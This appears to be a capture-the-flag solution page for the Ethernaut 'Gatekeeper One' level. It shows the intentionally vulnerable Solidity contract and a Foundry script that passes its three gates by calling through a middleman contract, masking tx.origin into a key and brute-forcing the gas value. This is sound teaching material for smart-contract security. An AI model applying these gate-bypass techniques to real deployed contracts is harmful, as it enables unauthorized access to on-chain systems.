Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Exploit
make anvil-exploit-level-13
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 13 - GATEKEEPER ONE │
// ================================================================
contract GatekeeperOneMiddleman {
function run(address targetContract) public {
// Gate one is passed just by calling the enter function from this contract
// causing the tx.origin to be different from the msg.sender
bool succeeded = false;
// Gate three requires...
bytes8 key = bytes8(uint64(uint160(tx.origin)) & 0xffffffff0000ffff);
uint256 gas = 65782;
// Gate two requires calculating the gas remaining...
for (uint256 i = gas - 5052; i < gas + 5052; i++) {
console.log("Trying gas: ", i);
(bool success,) = address(targetContract).call{gas: i}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
succeeded = success;
break;
}
}
}
}
Submit instance... 🥳
Completion Message
Notes
Last updated